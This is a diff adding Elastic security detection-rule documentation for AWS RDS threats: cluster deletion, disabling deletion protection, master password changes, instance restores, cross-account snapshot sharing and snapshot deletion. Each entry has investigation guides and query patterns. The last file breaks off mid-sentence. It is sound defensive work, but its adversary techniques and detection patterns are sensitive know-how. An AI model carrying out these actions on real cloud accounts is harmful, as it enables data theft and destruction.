**https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: rds.amazonaws.com + and event.action: (DeleteDBCluster or DeleteGlobalCluster or DeleteDBInstance) + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc new file mode 100644 index 0000000000..83c0b8e042 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deletion-protection-disabled]] +=== AWS RDS DB Instance or Cluster Deletion Protection Disabled + +Identifies the modification of an AWS RDS DB instance or cluster to disable the deletionProtection feature. Deletion protection prevents accidental or unauthorized deletion of RDS resources. Adversaries with sufficient permissions may disable this protection as a precursor to destructive actions, including the deletion of databases containing sensitive or business-critical data. This rule alerts when deletionProtection is explicitly set to false on an RDS DB instance or cluster. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_DeleteInstance.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance or Cluster Deletion Protection Disabled* + + +Deletion protection is designed to safeguard RDS DB instances and clusters from accidental or unauthorized deletion. An adversary with privileged access in a compromised environment, can disable this safeguard before issuing a `DeleteDBInstance` or `DeleteDBCluster` action. This rule detects successful attempts to modify deletionProtection and set it to false on any RDS instance or cluster. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `access_key_id` to determine which IAM principal made the change. + - Validate whether this principal normally performs RDS lifecycle operations. + +- **Review Event Details** + - Inspect `aws.cloudtrail.request_parameters` to confirm the targeted DB instance or cluster identifier. + - Confirm that the request explicitly contains `deletionProtection=false`. + +- **Contextualize the Change** + - Determine if recent activities justify the removal of deletion protection (migration, decommissioning, or maintenance). + - Compare the timestamp to normal operational hours or deployment windows. + +- **Correlate with Additional Activity** + - Look for subsequent or preceding RDS actions such as: + - `DeleteDBInstance` + - `DeleteDBCluster` + - Security group modifications + - Changes to parameter groups or backup retention policies. + - Sudden removal of backups or snapshots may indicate imminent destructive activity. + +- **Verify Environmental Risk** + - Assess the sensitivity of data stored in the affected DB instance or cluster. + - Determine if the instance is production, customer-facing, or mission-critical. + +- **Interview Relevant Personnel** + - Confirm with service owners or DB administrators whether the modification was intended and approved. + + +*False positive analysis* + + +- **Expected Decommissioning** + - Instances undergoing teardown or migration legitimately require deletion protection to be disabled first. + +- **Inconsistent Historical Behavior** + - Compare the action to historical modification patterns for the user or role. If the action aligns with past legitimate changes, it may not be suspicious. + + +*Response and remediation* + + +- **Immediate Remediation** + - If unauthorized, re-enable deletion protection (`deletionProtection=true`) on the affected DB instance or cluster. + - Review security groups, backup retention, and snapshot policies for additional unauthorized changes. + +- **Access Review** + - Investigate credential exposure for the IAM principal that performed the action. + - Rotate access keys or temporarily revoke permissions if compromise is suspected. + +- **Containment** + - If destructive intent is suspected, apply guardrails (e.g., IAM condition keys, SCPs) to prevent DB deletion. + +- **Audit and Harden** + - Ensure RDS instances adhere to least-privilege principles. + - Restrict who can modify `ModifyDBInstance` or `ModifyDBCluster` destructive settings, such as deletion protection, backup retention, and public accessibility. + +- **Incident Response Activation** + - Treat unauthorized removal of deletion protection as a high-risk precursor to data destruction. + - Trigger IR processes for containment, root cause analysis, and post-incident hardening. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.action in ("ModifyDBInstance", "ModifyDBCluster") + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "deletionProtection=false") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-password-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-password-modified.asciidoc new file mode 100644 index 0000000000..89f8e261bd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-password-modified.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-password-modified]] +=== AWS RDS DB Instance or Cluster Password Modified + +Identifies the modification of the master password for an AWS RDS DB instance or cluster. Changing the master password is a legitimate recovery action when access is lost, but adversaries with sufficient permissions may modify it to regain access, establish persistence, bypass existing controls, or escalate privileges within a compromised environment. Because RDS does not expose the password in API responses, this operation can meaningfully alter access pathways to sensitive data stores. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.DBInstance.Modifying.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-modifydbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Defense Evasion + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance or Cluster Password Modified* + + +The RDS master user password controls privileged access to a database instance or cluster. Modifying it can immediately shift access from one operator to another, break application functionality, or allow an adversary to regain control over a compromised DB instance. Because RDS never returns the password via API, this operation is a strong signal of intentional access reconfiguration. + +This rule detects successful password-modification events via `ModifyDBInstance` or `ModifyDBCluster`. Such changes may indicate credential loss recovery—or malicious actions related to persistence, privilege escalation, or defense evasion. + + +*Possible investigation steps* + + +- **Identify the actor and execution context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Inspect `user.name`, `source.ip`, and `user_agent.original` to determine whether the modification originated from expected networks, automation roles, or unusual sources. + +- **Determine what was modified** + - Examine `aws.cloudtrail.request_parameters` to identify: + - The DB instance or cluster identifier. + - Whether other parameters were modified in the same call (e.g., `manageMasterUserPassword`, engine version, instance class, parameter group). + - Review instance metadata in AWS to understand the sensitivity level, environment (prod/stage/dev), and potential business impact. + +- **Reconstruct timing and associated actions** + - Use `@timestamp` to compare the event against: + - Recent configuration changes such as `ModifyDBInstance`, `ModifyDBCluster`, or networking/security group updates. + - Other access-related operations (e.g., `AddRoleToDBInstance`, changes to Secrets Manager associations, disabling deletion protection). + - Check for signs of credential misuse leading up to the event (e.g., `DescribeDBInstances`, `GetCallerIdentity`, unauthorized console logins). + +- **Correlate with broader activity** + - Pivot in CloudTrail using the same access key, principal ARN, or source IP. + - Look for: + - Privilege-escalating or persistence-related behavior (IAM policy changes, role modifications, STS session creation). + - Subsequent DB-impacting operations, such as snapshot deletion, backup retention changes, or cluster deletion. + - Evidence of data access anomalies (backup exports, data snapshot copies, cross-region actions). + +- **Validate intent with operational owners** + - Confirm with DBAs, platform engineers, and application owners whether the password change: + - Was requested or scheduled. + - Aligns with pending migrations, credential rotations, or recovery actions. + - If not recognized, treat this as a high-risk event requiring deeper containment. + + +*False positive analysis* + + +- **Recovery or maintenance tasks** + - Password resets occur during lost-credential scenarios or planned rotations. Confirm if this aligns with a documented workflow. +- **Secrets Manager integration changes** + - When `manageMasterUserPassword` is toggled or Secrets Manager rotates passwords, a modification event may occur. Validate whether an automation pipeline triggered the change. +- **Non-production workloads** + - Development or staging environments may see frequent password resets. Consider tuning exceptions based on tags, instance identifiers, or IAM roles tied to automation. + + +*Response and remediation* + + +- **Contain unauthorized access** + - If activity is suspicious: + - Immediately rotate the master password again using a secure, validated workflow. + - Verify whether Secrets Manager integration was disabled (`manageMasterUserPassword=false`) and restore it if necessary. + - Restrict inbound DB access by tightening associated security group rules or isolating the instance temporarily. + +- **Investigate surrounding activity** + - Review CloudTrail to identify: + - Who accessed the instance after the password change. + - Whether any destructive or data-exfiltrating RDS actions occurred. + - Other IAM or STS activity tied to the same user or session. + +- **Restore guardrails and enhance monitoring** + - Ensure deletion protection, backup retention, and networking controls are correctly configured. + - Add real-time alerts for password-related modifications and high-risk RDS API actions. + +- **Strengthen IAM and operational controls** + - Limit permissions for `rds:ModifyDBInstance` and `rds:ModifyDBCluster`, especially when modifying authentication parameters. + - Require MFA and role-based access for DB administrators. + - Tighten SCPs or Config rules to restrict unauthorized DB configuration changes. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.action in ("ModifyDBInstance", "ModifyDBCluster") + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "masterUserPassword=*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-restored.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-restored.asciidoc new file mode 100644 index 0000000000..fe7ee63150 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-restored.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-21-aws-rds-db-instance-restored]] +=== AWS RDS DB Instance Restored + +Identifies the restoration of an AWS RDS database instance from a snapshot or S3 backup. Adversaries with access to valid credentials may restore copies of existing databases to bypass logging and monitoring controls or to exfiltrate sensitive data from a duplicated environment. This rule detects successful restoration operations using "RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3", which may indicate unauthorized data access or post-compromise defense evasion. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_RestoreDBInstanceFromDBSnapshot.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_RestoreDBInstanceFromS3.html +* https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/rds__explore_snapshots/main.py +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation#rds-createdbsnapshot-rds-restoredbinstancefromdbsnapshot-rds-modifydbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance Restored* + + +Restoring an RDS DB instance from a snapshot or from S3 is a powerful operation that recreates a full database environment. While legitimate for recovery, migrations, or cloning, adversaries may use restore actions to access historical data, duplicate sensitive environments, evade guardrails, or prepare for data exfiltration. + +This rule detects successful invocation of `RestoreDBInstanceFromDBSnapshot` and `RestoreDBInstanceFromS3`, both of which may indicate attempts to rehydrate old datasets, bypass deletion protection, or establish a shadow environment for further malicious actions. + + +*Possible investigation steps* + + +- **Identify the actor and execution context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. + - Check `user.name`, `source.ip`, and `user_agent.original` to determine how the restore was executed (console, CLI, automation, SDK). + +- **Understand what was restored and why** + - Inspect `aws.cloudtrail.request_parameters` to identify: + - Snapshot identifier or S3 location used as the restore source. + - The new DB instance identifier and configuration parameters. + - Determine: + - Whether the snapshot/backup used for the restore contains sensitive or high-value data. + - Whether this restore created a publicly accessible instance, changed security groups, or used unusual storage/instance classes. + +- **Reconstruct the activity flow** + - Use `@timestamp` to correlate the restore event with: + - Snapshot creation, copy, or export events. + - IAM policy changes or privilege escalations. + - Deletion or modification of the original database. + - Other RDS lifecycle actions such as `ModifyDBInstance`, `DeleteDBInstance`, or backup configuration changes. + - Look for signs of attacker staging: + - Prior enumeration activity (`DescribeDBSnapshots`, `DescribeDBInstances`). + - Recent logins from unusual IPs or federated sessions without MFA. + +- **Correlate with broader behavior** + - Pivot in CloudTrail on: + - The same snapshot identifier. + - The same actor or access key ID. + - The newly created DB instance identifier. + - Examine: + - Whether the restored DB was modified immediately after (e.g., security groups opened, deletion protection disabled). + - Whether there were large-volume read operations or export actions following the restore. + - Whether the restore is part of a pattern of parallel suspicious activity (snapshot copying, S3 backups, cross-account actions). + +- **Validate intent with owners** + - Confirm with the application/database/platform teams: + - Whether the restore was requested or part of an authorized operational workflow. + - Whether this restore corresponds to migration, testing, DR drill, or another planned activity. + - Whether the restored environment should exist (and for how long). + + +*False positive analysis* + + +- **Legitimate maintenance and DR workflows** + - Many teams restore databases for patch testing, DR validation, schema testing, or migration. +- **Automated restore workflows** + - CI/CD pipelines or internal automation may restore DBs to generate staging or dev environments. +- **Third-party tooling** + - Backup/DR solutions, migration tools, or observability platforms may restore DB instances for operational reasons. Tune based on `user_agent.original` or known service roles. + + +*Response and remediation* + + +- **Contain the restored environment** + - If unauthorized: + - Apply restrictive security groups to block access. + - Disable public accessibility if enabled. + - Evaluate whether deletion protection or backup retention is misconfigured. + +- **Assess data exposure and intent** + - Work with data owners to evaluate: + - The sensitivity of the restored environment. + - Whether any reads, dumps, or exports occurred post-restore. + - Whether the restore enabled the attacker to access older or deleted data. + +- **Investigate scope and related activity** + - Review CloudTrail for: + - Additional restores, exports, or copies. + - IAM changes allowing expanded privileges. + - Unusual authentication events or federated sessions without MFA. + - Related destructive actions (snapshot deletion, backup disabled, instance deletion). + +- **Hardening and preventive controls** + - Enforce least privilege for `rds:RestoreDBInstanceFromDBSnapshot` and `rds:RestoreDBInstanceFromS3`. + - Use IAM conditions to restrict restore actions by network, principal, or region. + - Add AWS Config and Security Hub controls for monitoring: + - Unapproved restores. + - Public or misconfigured restored instances. + - Consider SCPs that prevent RDS restores in production accounts except through controlled roles. + +- **Post-incident improvements** + - Rotate credentials for affected IAM users/roles. + - Update change management processes to ensure restore actions are tracked and approved. + - Adjust rule exceptions sparingly and ensure high-risk restores continue to generate alerts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "rds.amazonaws.com" + and event.action: ("RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3") + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Create Cloud Instance +** ID: T1578.002 +** Reference URL: https://attack.mitre.org/techniques/T1578/002/ +* Sub-technique: +** Name: Revert Cloud Instance +** ID: T1578.004 +** Reference URL: https://attack.mitre.org/techniques/T1578/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-snapshot-shared-with-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-snapshot-shared-with-another-account.asciidoc new file mode 100644 index 0000000000..1b2856bfea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-snapshot-shared-with-another-account.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-21-aws-rds-db-snapshot-shared-with-another-account]] +=== AWS RDS DB Snapshot Shared with Another Account + +Identifies when an AWS RDS DB snapshot is shared with another AWS account or made public. DB snapshots contain complete backups of database instances, including schemas, table data, and sensitive application content. When shared externally, snapshots can be restored in another AWS environment, enabling unauthorized access, offline analysis, or data exfiltration. Adversaries who obtain valid credentials or exploit misconfigurations may modify snapshot attributes to grant access to accounts they control, bypassing network, IAM, and monitoring controls. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBSnapshotAttribute.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation#rds-modifydbsnapshotattribute-rds-createdbsnapshot + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Snapshot Shared with Another Account* + + +Amazon RDS DB snapshots capture full backups of database instances and clusters. Modifying a snapshot’s restore +attributes to include external AWS accounts allows those accounts to restore and fully access the underlying data. +While cross-account snapshot sharing is widely used for migrations and disaster-recovery workflows, adversaries may +abuse this mechanism for stealthy data exfiltration, restoring the snapshot in infrastructure they control, outside of your monitoring boundary. + +This rule detects successful modifications to snapshot attributes where one or more additional AWS accounts are added to the snapshot’s restore permissions. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Determine whether the caller is an automation role, interactive user, CI/CD pipeline, or previously unseen principal. + - Check `source.ip` and `user_agent.original` for signs of unauthorized access or atypical tooling. + +- **Understand what snapshot was shared** + - From `aws.cloudtrail.request_parameters`, extract: + - The snapshot or cluster snapshot identifier. + - The list of `valuesToAdd` accounts added to `attributeName=restore`. + - Identify the associated database instance or cluster and evaluate: + - Data classification level (PII, customer data, secrets, credentials, financials, etc.) + - Application ownership and business impact. + +- **Validate the external account** + - Determine whether the recipient account: + - Belongs to your AWS Organization. + - Has previously been authorized for snapshot restore operations. + - Represents a new or unexpected dependency. + - Cross-reference with known partner accounts or migration plans. + +- **Correlate with related activity** + - Pivot in CloudTrail on the same user identity or account to identify: + - Prior reconnaissance actions (`DescribeDBSnapshots`, `DescribeDBInstances`). + - Snapshot copying or creation of manual snapshots just before sharing. + - IAM privilege escalation (`AttachRolePolicy`, `PutUserPolicy`, `AssumeRole` patterns). + - Unusual RDS configuration changes (backup retention decrease, deletion protection toggles). + +- **Assess for exfiltration indicators** + - Look for: + - Subsequent `CopyDBSnapshot` or `StartExportTask` events. + - Snapshot downloads, exports, or restoration from the external account. + - Snapshot attributes set to `all` (public sharing), which is extremely dangerous. + +- **Validate operational intent** + - Contact application owners, DBAs, or platform teams to confirm: + - Whether migration, replication, or DR workflows explain the share. + - Whether new accounts were intentionally onboarded. + - Whether the timing aligns with approved change windows. + + +*False positive analysis* + + +- **Legitimate migration or DR workflows** + - Many organizations routinely share snapshots with other accounts for staging, analytics, or DR replication. + +- **Automation roles** + - Infrastructure-as-code pipelines and backup automation tools may modify snapshot permissions as part of normal behavior. + +If behavior is expected and consistently performed by a known principal, tune the rule using exceptional user identities, service roles, or controlled organizational accounts. + + +*Response and remediation* + + +- **Revoke unauthorized sharing** + - Immediately remove unauthorized accounts from snapshot restore attributes. + - Ensure the snapshot is not publicly shared. + +- **Contain potential compromise** + - Rotate access keys or credentials for the principal that performed the modification. + - Review IAM permissions to ensure only approved roles can share snapshots. + +- **Assess impact** + - Determine whether the external account restored the snapshot and accessed data. + - If data exposure is likely, notify compliance, legal, and incident response teams. + +- **Hardening and preventive controls** + - Restrict snapshot sharing via IAM condition keys (`kms:ViaService`, `rds:dbSnapshotArn`, `aws:PrincipalArn`). + - Use AWS Organizations SCPs to block cross-account snapshot sharing in production accounts. + - Enable Config rules and Security Hub controls for public or cross-account snapshot access. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.outcome == "success" + and event.action in ("ModifyDBSnapshotAttribute", "ModifyDBClusterSnapshotAttribute") + and stringContains(aws.cloudtrail.request_parameters, "attributeName=restore") + and stringContains(aws.cloudtrail.request_parameters, "valuesToAdd=[*]") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-snapshot-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-snapshot-deleted.asciidoc new file mode 100644 index 0000000000..930013d2a6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-snapshot-deleted.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-21-aws-rds-snapshot-deleted]] +=== AWS RDS Snapshot Deleted + +Identifies the deletion of an AWS RDS DB snapshot or configuration changes that effectively remove backup coverage for a DB instance. RDS snapshots contain full backups of database instances, and disabling automated backups by setting "backupRetentionPeriod=0" has a similar impact by preventing future restore points. Adversaries with the appropriate permissions may delete snapshots or disable backups to inhibit recovery, destroy forensic evidence, or prepare for follow-on destructive actions such as instance or cluster deletion. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_DeleteSnapshot.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBSnapshot.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Use Case: Asset Visibility +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS Snapshot Deleted* + + +AWS RDS snapshots (manual or automated) and backup retention settings are core to database recovery and incident response. Deleting snapshots or disabling automated backups (`backupRetentionPeriod=0`) can prevent restoration to a known-good state and destroy forensic evidence of attacker actions. + +This rule detects successful snapshot deletions and configuration changes that disable automated backups. Activity that matches this pattern may indicate destructive actions, ransomware preparation, cleanup after data theft, or an operator misconfiguration that materially weakens recovery options. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. + - Check `user.name`, `source.ip`, and `user_agent.original` to understand where and how the change was made (console, CLI, SDK, automation). + +- **Determine what was affected** + - Inspect `aws.cloudtrail.request_parameters` to identify: + - The snapshot or cluster snapshot identifier (`DeleteDBSnapshot` / `DeleteDBClusterSnapshot`). + - The DB instance identifier and the new `backupRetentionPeriod` value for `ModifyDBInstance`. + - Map the snapshot/instance to: + - Application/owner team. + - Environment (prod, staging, dev). + - Data sensitivity or criticality. + +- **Reconstruct intent and timing** + - Use `@timestamp` to correlate the event with: + - Recent `ModifyDBInstance`, `ModifyDBCluster`, `DeleteDBInstance`, or `DeleteDBCluster` events. + - Other data-impacting changes (e.g., `deletionProtection=false`, security group changes, public accessibility, or RDS parameter modifications). + - Compare the timing against approved maintenance/change windows and deployment pipelines. + +- **Correlate with broader activity** + - In CloudTrail, pivot on: + - The same `aws.cloudtrail.user_identity.arn` or access key ID. + - The same DB instance/cluster identifiers. + - Look for: + - Suspicious reads or exports before deletion (`DescribeDBSnapshots`, `CopyDBSnapshot`, data export, or large `SELECT` 